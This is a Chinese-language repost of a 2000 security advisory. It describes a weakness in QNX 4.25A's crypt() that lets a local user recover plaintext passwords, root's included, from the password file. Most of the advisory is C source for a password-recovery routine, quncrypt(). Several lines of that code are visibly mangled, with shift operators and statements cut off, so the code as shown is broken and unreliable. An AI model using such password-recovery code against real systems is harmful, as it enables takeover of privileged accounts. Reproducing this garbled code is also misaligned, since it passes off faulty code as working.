QNX 口令易造破解-破解,口令,易造,QNX-远程进入系统

来源:百度文库 编辑:神马文学网 时间:2024/07/04 19:12:35
QNX 口令易造破解
来源:  作者:  更新时间:[2000-04-19]  点击次数: 23次
【聚杰网 远程进入系统】QNX 口令易造破解发布日期:2000-04-19
更新日期:2000-04-19
受影响系统: QSSL QNX 4.25A描述:
QNX是一个优秀的实时操作系统,它的crypt()函数采用了自己的加密机制,而不是使用通常的
DES加密机制。然而,QNX的加密机制存在一些问题,可以通过密文直接恢复明文口令。因此,
在使用了QNX系统的机器上,如果本地用户可以访问到口令文件,他就可以轻易地得到root帐号
的口令。
<* 来源:Sean *>
测试方法: 警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
static ascii2bin(short x)
{
if (x>='0' && x<'A')
return x-'0';
if (x>='A' && x<'a')
return (x-'A')+9;
return (x-'a')+26+9;
}
char bits[77];
char *quncrypt(char *pw)
{
static char newpw[14];
int i;
int j,rot;
int bit,ofs;
char salt[2];
int temp;
salt[0]=*pw++;
salt[1]=*pw++;
for (i=0;i<72;i++)
bits[i]=0;
for (i=0;i<12;i++)
newpw[i]=ascii2bin(pw[i]);
newpw[13]=0;
rot=(salt[1]*4-salt[0])%128;  /* here's all the salt
does.                                  A rotation */
for (i=0;i<12;i++)
{
for (j=0;j<6;j++)
{
bit=newpw[i]&(1<bits[i*6+j]=bit?1:0;
}
}
while (rot--)  /* do the big rotate */
{
bits[66]=bits[0];
for (i=0;i<=65;i++)
bits[i]=bits[i+1];
}
for (i=0;i<8;i++)
{
newpw[i]=0;
for (j=0;j<7;j++)
{
bit=bits[i+j*8];
newpw[i]|=(bit<}
}
newpw[8]=0;
return newpw;
}